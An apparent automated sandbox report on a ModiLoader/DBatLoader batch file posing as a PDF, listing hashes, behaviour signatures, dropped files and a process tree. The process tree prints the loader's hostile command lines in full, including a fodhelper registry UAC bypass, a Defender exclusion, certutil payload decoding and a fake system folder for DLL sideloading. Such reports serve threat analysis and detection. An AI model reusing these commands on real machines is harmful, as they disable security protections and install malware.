Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/03/2024, 06:45

General

  • Target

    CDE_7558497830/CDE_7558497830/CDE_7558497830/CDE_7558497830_PDF.bat

  • Size

    3.6MB

  • MD5

    75f1ce6a46272e4ece22ad481b8a1ed3

  • SHA1

    f7a7f98e6995bae293d8cd06d5806d1803ea3ed9

  • SHA256

    41149322a4ee305483bce2d4b7e1a561c5973761dd7c82c9fb21059243dc0b0b

  • SHA512

    2f9c1a74b94fbb49a79d6d10e97edd2e71c19485e0d6b3509b17bf7cf7f64e82dc2de26303404e1cfbfe8a107bcd8bd1e99619455307e748a8fba5b4f61a1e24

  • SSDEEP

    49152:0Ppmq12RxHW9ub71aMzQweyrLLX+5Z4yPLyiTvCuP8s7JaqD:A

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • ModiLoader Second Stage 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 17 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 24 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of UnmapMainImage
    PID:3516
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1112
      • C:\Windows\system32\cmd.exe
        cmd /c extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3888
        • C:\Windows\system32\extrac32.exe
          extrac32.exe /C /Y C:\\Windows\\System32\\cmd.exe C:\\Users\\Public\\alpha.exe
          4⤵
            PID:1996
        • C:\Users\Public\alpha.exe
          C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:924
          • C:\Windows\system32\extrac32.exe
            extrac32.exe /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe C:\\Users\\Public\\xkn.exe
            4⤵
              PID:2520
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
            3⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4800
            • C:\Windows\system32\extrac32.exe
              extrac32.exe /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
              4⤵
                PID:1088
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:5000
              • C:\Users\Public\xkn.exe
                C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\Users "' ; start fodhelper.exe "
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4076
                • C:\Users\Public\alpha.exe
                  "C:\Users\Public\alpha.exe" /c reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                  5⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1836
                  • C:\Windows\system32\reg.exe
                    reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\Users "
                    6⤵
                    • Modifies registry class
                    • Modifies registry key
                    PID:2304
                • C:\Windows\system32\fodhelper.exe
                  "C:\Windows\system32\fodhelper.exe"
                  5⤵
                    PID:3604
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3316
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830_PDF.bat" "C:\\Users\\Public\\Lewxa.txt" 9
                  4⤵
                  • Executes dropped EXE
                  PID:3276
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:5076
                • C:\Users\Public\kn.exe
                  C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Lewxa.txt" "C:\\Users\\Public\\Libraries\\Lewxa.com" 12
                  4⤵
                  • Executes dropped EXE
                  PID:3660
              • C:\Users\Public\Libraries\Lewxa.com
                C:\\Users\\Public\\Libraries\\Lewxa.com
                3⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of WriteProcessMemory
                PID:3752
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c mkdir "\\?\C:\Windows "
                  4⤵
                    PID:3340
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c mkdir "\\?\C:\Windows \System32"
                    4⤵
                      PID:4860
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c "C:\Windows \System32\5760350.exe"
                      4⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3652
                      • C:\Windows \System32\5760350.exe
                        "C:\Windows \System32\5760350.exe"
                        5⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:3184
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c ""C:\windows \system32\KDECO.bat""
                          6⤵
                            PID:3064
                            • C:\Windows\system32\cmd.exe
                              cmd /c powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                              7⤵
                                PID:3244
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
                                  8⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2340
                        • C:\Windows\SysWOW64\extrac32.exe
                          C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Lewxa.com C:\\Users\\Public\\Libraries\\Bknjadtw.PIF
                          4⤵
                            PID:3500
                          • C:\Windows\SysWOW64\SndVol.exe
                            C:\Windows\System32\SndVol.exe
                            4⤵
                            • Suspicious use of SetThreadContext
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: MapViewOfSection
                            • Suspicious use of FindShellTrayWindow
                            • Suspicious use of SendNotifyMessage
                            PID:1056
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa" / A / F / Q / S
                          3⤵
                          • Executes dropped EXE
                          PID:4176
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\Lewxa.txt" / A / F / Q / S
                          3⤵
                          • Executes dropped EXE
                          PID:4940
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\xkn.exe" / A / F / Q / S
                          3⤵
                          • Executes dropped EXE
                          PID:232
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c del "C:\Users\Public\kn.exe" / A / F / Q / S
                          3⤵
                          • Executes dropped EXE
                          PID:4608
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:5048
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettings.exe
                            4⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:3600
                        • C:\Users\Public\alpha.exe
                          C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettingsAdminFlows.exe
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:2904
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /IM SystemSettingsAdminFlows.exe
                            4⤵
                            • Kills process with taskkill
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1368
                        • C:\Windows\system32\cmd.exe
                          cmd /c del "C:\Users\Public\alpha.exe" / A / F / Q / S
                          3⤵
                            PID:3064
                        • C:\Windows\SysWOW64\systray.exe
                          "C:\Windows\SysWOW64\systray.exe"
                          2⤵
                          • Suspicious use of SetThreadContext
                          • Modifies Internet Explorer settings
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: MapViewOfSection
                          PID:2884
                          • C:\Program Files\Mozilla Firefox\Firefox.exe
                            "C:\Program Files\Mozilla Firefox\Firefox.exe"
                            3⤵
                              PID:2104
                        • C:\Windows\system32\SystemSettingsAdminFlows.exe
                          "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
                          1⤵
                            PID:1692

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                  Filesize

                                  64B

                                  MD5

                                  a6c9d692ed2826ecb12c09356e69cc09

                                  SHA1

                                  def728a6138cf083d8a7c61337f3c9dade41a37f

                                  SHA256

                                  a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

                                  SHA512

                                  2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgfg110m.iey.ps1

                                  Filesize

                                  60B

                                  MD5

                                  d17fe0a3f47be24a6453e9ef58c94641

                                  SHA1

                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                  SHA256

                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                  SHA512

                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                • C:\Users\Public\Lewxa.txt

                                  Filesize

                                  2.6MB

                                  MD5

                                  6d75d7c7cc50099ca677b647ca9ce8d3

                                  SHA1

                                  b0bb8832ccbc990c8f6c69ec61c2e73bc9bc8cad

                                  SHA256

                                  6ef611c9602ce5918ab87951f9ffd851b1fb53decbd199d073a9823d6b330bf4

                                  SHA512

                                  b2d93df8a1ae31b052045a50bf5ca10b80e9e3d34359bac69d5626ccc399e375b66b07cca1fd202435fb526ae7f9bde1f56bb8767b5a9051d59de9829d45e2b2

                                • C:\Users\Public\Libraries\Bknjadtw.PIF

                                  Filesize

                                  1.3MB

                                  MD5

                                  2dfc4938d980a733ca8484df24df9886

                                  SHA1

                                  4660364cb6a885580eb67731ae6b2bd32842d07d

                                  SHA256

                                  26d0349541b20a4c51524c7f422946667fa1261e42c0eec960dbb368030ced25

                                  SHA512

                                  de7f56d137a97dd172fffe54325d8718cfc1bdebf0c210e2308da7ba437b79a59096e3b0db03abb4f0b6005114df436a8ffb997ffe3cba08c89b818636f7b4ea

                                • C:\Users\Public\Libraries\Lewxa.com

                                  Filesize

                                  1.2MB

                                  MD5

                                  0469678ef92472d4850b3e4054d48841

                                  SHA1

                                  6ef4f00eae4ab53c0dcb179e52912030bb1bbd6b

                                  SHA256

                                  9a7b25d43bb078fd0c48c0f9afaa7b12d8cb1fdd466a1021902f053b8de0c45f

                                  SHA512

                                  9601fa402eabf95af0fe3b754d684c0891b2acb49ffdd9ed467d6ccb5539eab03b1c45ce0d65a10d5b4bce085e96fe89d6beb352f2a518504ed79956aa6aae4f

                                • C:\Users\Public\Libraries\Lewxa.com

                                  Filesize

                                  603KB

                                  MD5

                                  a54a78adc4b1f0c0b12fd34bad325964

                                  SHA1

                                  d6e57d2271b7121d50945b54898787b728e24a78

                                  SHA256

                                  67941f14cef4dbdffc1125373098f84bfb23e7367fca663a15c3bd665b78f7fd

                                  SHA512

                                  9e826f54314441c0363dad6205047f9f97aebe094b1fbe6a4d31b14d99f1382a9f4b47caa8a1dbbb8b3cf4f1b8e5927e6ba4abb4ac02c793100cab4bef81989b

                                • C:\Users\Public\alpha.exe

                                  Filesize

                                  283KB

                                  MD5

                                  8a2122e8162dbef04694b9c3e0b6cdee

                                  SHA1

                                  f1efb0fddc156e4c61c5f78a54700e4e7984d55d

                                  SHA256

                                  b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

                                  SHA512

                                  99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

                                • C:\Users\Public\kn.exe

                                  Filesize

                                  1.6MB

                                  MD5

                                  bd8d9943a9b1def98eb83e0fa48796c2

                                  SHA1

                                  70e89852f023ab7cde0173eda1208dbb580f1e4f

                                  SHA256

                                  8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2

                                  SHA512

                                  95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

                                • C:\Users\Public\xkn.exe

                                  Filesize

                                  442KB

                                  MD5

                                  04029e121a0cfa5991749937dd22a1d9

                                  SHA1

                                  f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                  SHA256

                                  9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                  SHA512

                                  6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                                • C:\Windows \System32\5760350.exe

                                  Filesize

                                  128KB

                                  MD5

                                  231ce1e1d7d98b44371ffff407d68b59

                                  SHA1

                                  25510d0f6353dbf0c9f72fc880de7585e34b28ff

                                  SHA256

                                  30951db8bfc21640645aa9144cfeaa294bb7c6980ef236d28552b6f4f3f92a96

                                  SHA512

                                  520887b01bda96b7c4f91b9330a5c03a12f7c7f266d4359432e7bacc76b0eef377c05a4361f8fa80ad0b94b5865699d747a5d94a2d3dcdb85dabf5887bb6c612

                                • C:\Windows \System32\netutils.dll

                                  Filesize

                                  112KB

                                  MD5

                                  fa7aa88417d0c48807144a1a48fe3fbc

                                  SHA1

                                  6f5ec990b12d4a6075050a94e0d68d03781fa46d

                                  SHA256

                                  2019dcd18ba7d5554a4a9da882740aa883941670af3de9396960081a0f8aa098

                                  SHA512

                                  99b2eb6f8e7d00a3803cba229149e5e0cb67a3deb607782c55fbacd25d9c074cce83759de15490eff939d5ad98f26cdbd44395cc79ffe22753e16c3d9e3b5fff

                                • C:\windows \system32\KDECO.bat

                                  Filesize

                                  11KB

                                  MD5

                                  c545650595b479c81ad6b9d8882aae39

                                  SHA1

                                  7a98aa2e6eee23b3c1bba876955d525bc618b3f0

                                  SHA256

                                  a3a80983cb33159f0455fa0135789402558baa1460db94d0071318512b8cb5f9

                                  SHA512

                                  85ac596a7da9072a28c4178e4fdedc98f1b49c8e3fe5612cfe464833297b13f65d2dc59b52d7fc9970cff8f98d954111229aec0ed9dded454e03b0cf4ebb6ff3

                                • memory/1056-100-0x000000001B680000-0x000000001B6A3000-memory.dmp

                                  Filesize

                                  140KB

                                • memory/1056-95-0x0000000002680000-0x0000000003680000-memory.dmp

                                  Filesize

                                  16.0MB

                                • memory/1056-97-0x000000001BE60000-0x000000001C1AA000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/1056-98-0x0000000002680000-0x0000000003680000-memory.dmp

                                  Filesize

                                  16.0MB

                                • memory/1056-99-0x0000000002680000-0x0000000003680000-memory.dmp

                                  Filesize

                                  16.0MB

                                • memory/1056-104-0x0000000002680000-0x0000000003680000-memory.dmp

                                  Filesize

                                  16.0MB

                                • memory/2340-85-0x000001E631AF0000-0x000001E631B00000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2340-84-0x000001E631AF0000-0x000001E631B00000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2340-81-0x00007FFD53E60000-0x00007FFD54921000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2340-88-0x00007FFD53E60000-0x00007FFD54921000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/2340-83-0x000001E631AF0000-0x000001E631B00000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/2884-106-0x00000000010D0000-0x0000000001110000-memory.dmp

                                  Filesize

                                  256KB

                                • memory/2884-102-0x00000000010D0000-0x0000000001110000-memory.dmp

                                  Filesize

                                  256KB

                                • memory/2884-118-0x0000000002E60000-0x0000000002F02000-memory.dmp

                                  Filesize

                                  648KB

                                • memory/2884-117-0x00000000010D0000-0x0000000001110000-memory.dmp

                                  Filesize

                                  256KB

                                • memory/2884-107-0x0000000002E60000-0x0000000002F02000-memory.dmp

                                  Filesize

                                  648KB

                                • memory/2884-105-0x0000000003090000-0x00000000033DA000-memory.dmp

                                  Filesize

                                  3.3MB

                                • memory/2884-103-0x00000000010D0000-0x0000000001110000-memory.dmp

                                  Filesize

                                  256KB

                                • memory/3184-70-0x00000000613C0000-0x00000000613E3000-memory.dmp

                                  Filesize

                                  140KB

                                • memory/3516-108-0x0000000008CD0000-0x0000000008DE9000-memory.dmp

                                  Filesize

                                  1.1MB

                                • memory/3516-101-0x000000000D690000-0x0000000010779000-memory.dmp

                                  Filesize

                                  48.9MB

                                • memory/3516-119-0x0000000008CD0000-0x0000000008DE9000-memory.dmp

                                  Filesize

                                  1.1MB

                                • memory/3516-111-0x000000000D690000-0x0000000010779000-memory.dmp

                                  Filesize

                                  48.9MB

                                • memory/3516-109-0x0000000008CD0000-0x0000000008DE9000-memory.dmp

                                  Filesize

                                  1.1MB

                                • memory/3752-54-0x0000000002450000-0x0000000002451000-memory.dmp

                                  Filesize

                                  4KB

                                • memory/3752-57-0x00000000040D0000-0x00000000050D0000-memory.dmp

                                  Filesize

                                  16.0MB

                                • memory/3752-56-0x00000000040D0000-0x00000000050D0000-memory.dmp

                                  Filesize

                                  16.0MB

                                • memory/3752-59-0x0000000000400000-0x0000000000551000-memory.dmp

                                  Filesize

                                  1.3MB

                                • memory/4076-34-0x00007FFD55800000-0x00007FFD562C1000-memory.dmp

                                  Filesize

                                  10.8MB

                                • memory/4076-31-0x000002B2EA720000-0x000002B2EA730000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/4076-22-0x000002B2EA6E0000-0x000002B2EA702000-memory.dmp

                                  Filesize

                                  136KB

                                • memory/4076-28-0x000002B2EA720000-0x000002B2EA730000-memory.dmp

                                  Filesize

                                  64KB

                                • memory/4076-27-0x00007FFD55800000-0x00007FFD562C1000-memory.dmp

                                  Filesize

                                  10.8MB